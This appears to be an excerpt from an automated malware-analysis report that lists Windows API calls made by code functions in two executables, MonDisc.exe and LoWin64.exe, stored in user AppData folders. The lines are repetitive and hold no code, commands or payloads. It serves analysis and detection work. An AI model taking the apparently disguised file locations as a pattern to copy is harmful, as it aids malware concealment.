Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F8F3E GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,GetForegroundWindow,GetDoubleClickTime,GetCurrentProcessId,GetUserDefaultLangID,GetModuleHandleW,IsZoomed,	15_2_00007FF6ED0F8F3E
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F825C GetTopWindow,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F825C
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F825C GetTopWindow,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F825C
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F82A9 GetParent,GetTopWindow,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F82A9
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F82A9 GetParent,GetTopWindow,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F82A9
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F82C7 GetTopWindow,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F82C7
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F82C7 GetTopWindow,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F82C7
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F832A AnyPopup,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F832A
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F832A AnyPopup,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F832A
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F516F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F516F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F516F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F516F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F516F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F516F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F516F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F516F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F516F GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F516F
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5191 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5191
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5191 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5191
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5191 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5191
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5191 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5191
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F5191 GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F5191
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F517B GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F517B
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F517B GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F517B
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F517B GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F517B
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F517B GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F517B
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F517B GetMessageTime,GetUserDefaultLangID,GetSystemDefaultLangID,GetParent,GetDoubleClickTime,GetDoubleClickTime,GetWindowTextLengthW,GetMessageExtraInfo,IsIconic,IsIconic,GetDoubleClickTime,GetLastActivePopup,GetMessageTime,GetModuleHandleW,GetCurrentProcessId,GetShellWindow,GetTopWindow,GetMessageExtraInfo,GetParent,GetTopWindow,GetTopWindow,GetParent,GetLastActivePopup,IsIconic,GetTopWindow,GetMessageExtraInfo,GetMessageExtraInfo,GetCurrentProcessId,GetShellWindow,GetUserDefaultLangID,GetShellWindow,AnyPopup,GetCommandLineW,GetSystemDefaultLangID,GetMessageTime,GetSystemDefaultLangID,GetMessageExtraInfo,GetTickCount,GetTickCount,GetCurrentProcessId,GetTickCount,IsIconic,GetCommandLineW,GetDesktopWindow,IsZoomed,GetDoubleClickTime,IsIconic,GetModuleHandleW,	15_2_00007FF6ED0F517B
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F8202 GetCurrentProcess,GetTopWindow,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F8202
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F8202 GetCurrentProcess,GetTopWindow,IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F8202
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F834D IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F834D
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED0F834D IsIconic,GetMessageTime,GetLastActivePopup,GetDesktopWindow,GetTopWindow,GetCurrentProcess,AnyPopup,GetLargePageMinimum,GetMessageTime,GetCurrentProcessId,GetTopWindow,GetModuleHandleW,GetMessageExtraInfo,GetTopWindow,GetCurrentProcessId,GetTickCount,GetCurrentProcess,GetLastActivePopup,GetLastActivePopup,GetParent,GetDesktopWindow,GetUserDefaultLangID,GetForegroundWindow,GetForegroundWindow,GetLargePageMinimum,GetMessageExtraInfo,GetLargePageMinimum,GetParent,IsIconic,GetMessageExtraInfo,GetWindowTextLengthW,AnyPopup,GetWindowTextLengthW,GetUserDefaultLangID,	15_2_00007FF6ED0F834D
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA76F2 GetUserDefaultLangID,IsIconic,GetCurrentProcessId,GetDesktopWindow,GetParent,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,GetWindowTextLengthW,GetMessageTime,GetForegroundWindow,	25_2_00007FF6B1CA76F2
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAEE80 GetSystemDefaultLangID,GetLastActivePopup,GetSystemDefaultLangID,GetSystemDefaultLangID,GetTickCount,GetTickCount,GetShellWindow,GetCurrentProcessId,IsIconic,GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAEE80
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAEE80 GetSystemDefaultLangID,GetLastActivePopup,GetSystemDefaultLangID,GetSystemDefaultLangID,GetTickCount,GetTickCount,GetShellWindow,GetCurrentProcessId,IsIconic,GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAEE80
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAEE80 GetSystemDefaultLangID,GetLastActivePopup,GetSystemDefaultLangID,GetSystemDefaultLangID,GetTickCount,GetTickCount,GetShellWindow,GetCurrentProcessId,IsIconic,GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAEE80
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF313 GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF313
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF313 GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF313
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA76FB GetUserDefaultLangID,IsIconic,GetCurrentProcessId,GetDesktopWindow,GetParent,GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA76FB
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7734 GetUserDefaultLangID,IsIconic,GetCurrentProcessId,GetDesktopWindow,GetParent,GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7734
